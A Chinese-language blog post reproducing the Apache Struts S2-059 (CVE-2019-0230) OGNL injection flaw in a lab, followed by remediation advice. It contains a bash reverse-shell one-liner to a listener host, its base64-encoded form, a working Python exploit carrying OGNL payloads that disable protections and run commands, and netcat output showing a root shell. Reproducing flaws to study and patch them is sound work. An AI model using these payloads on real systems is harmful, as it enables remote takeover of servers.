Lluna's Pure land.

What is life like when singing to wine?

0%

CVE-2019-0230复现

CVE-2019-0230(S2-059)


0x00.漏洞简述

Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.

Apache Struts 2.0.0到2.5.20强制执行双重OGNL计算,当对原始用户输入的标记属性进行计算时,可能会导致远程代码执行。

0x01.影响

  • version: 2.0.0-2.5.20
  • solution: apache-struts-upgrade-2_5_22
SeverityCVSSPublishedCreatedAddedModified
8(AV:N/AC:L/Au:N/C:P/I:P/A:P)08/17/202008/15/202008/17/202009/21/2020

0x02.漏洞分析

天融信阿尔法实验室漏洞分析

通过学习可知:此次漏洞需要开启(默认开启)altSyntax功能,只能是在标签id属性中存在表达式,并且参数还可以控制,攻击者通过构造特定的表达式赋值给id参数,传参后导致二次解析可造成远程命令执行漏洞。

0x03.搭建环境

本次环境

0x04.漏洞复现

1.访问环境

2.漏洞验证

通过构造表达式%25{2*10}执行后发现标签属性id值变成了为10,说明成功执行了表达式并运算2*10,并返回了结果。

3.构造payload

本次使用bash -i >& /dev/tcp/192.168.1.129/6666 0>&1(需要编码)

编码转换地址

转换

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

4.编写POC

将payload放到对应位置上

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://192.168.1.137:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)

5.利用

kali监听

1
2
3
root@JIYE:~# nc -nvlp 6666
listening on [any] 6666 ...

执行POC get shell

1
2
3
4
5
6
7
8
9
root@JIYE:~# nc -nvlp 6666
listening on [any] 6666 ...
connect to [192.168.1.129] from (UNKNOWN) [192.168.1.137] 33258
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@88497928f70b:/usr/src# whoami
whoami
root
root@88497928f70b:/usr/src#

0x05.解决办法

1
2
3
4
5
最终的解决方法是为传入的每个值添加适当的验证,并将其用于标记的属性中。  除非为有效的用例真正需要,否则请勿使用强制使用值%以外的属性求值,而使用%{...}或$ {...}语法。 

通过 升级到Struts 2.5.22,强制双重评估的可能恶意影响将进一步受到限制,并关闭了已报告的攻击媒介,特别是与主动OGNL表达注入保护结合使用时。

升级到Struts 2.5.22时没有任何问题。(真的吗???🙃)

0x06.总结

1
2
3
4
5
6
7
8
9
强制使用Apache Struts框架时,会对分配给某些标签属性的属性值进行双重评估,例如,id这样就可以传递一个值,该值将在呈现标签属性时再次进行评估。通过精心设计的请求,这可以导致远程执行代码(RCE)。

仅当在Struts标记属性内强制执行OGNL评估时,此问题才适用,当评估的表达式引用未经攻击的原始输入时,攻击者可以通过设计相应的请求来直接对其进行修改。

例:
<s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>
如果攻击者能够修改skillName请求中的属性,以使原始OGNL表达式skillName无需进一步验证即可传递给该属性,则skillName当作为请求的结果呈现标记时,将评估属性中包含的提供的OGNL表达式。

从2.0.0开始,Struts会设计使用双重评估的机会,并且正确完成后将成为有用的工具,这最显着的意思是仅在给定表达式中引用经过验证的值。但是,在表达式中引用未经验证的用户输入时,可能会注入恶意代码。在持续的努力中,Struts框架包括缓解措施以限制注入的表达式的影响,但2.5.22之前的Struts仍未解决攻击向量
-------------纸短情长下次再见-------------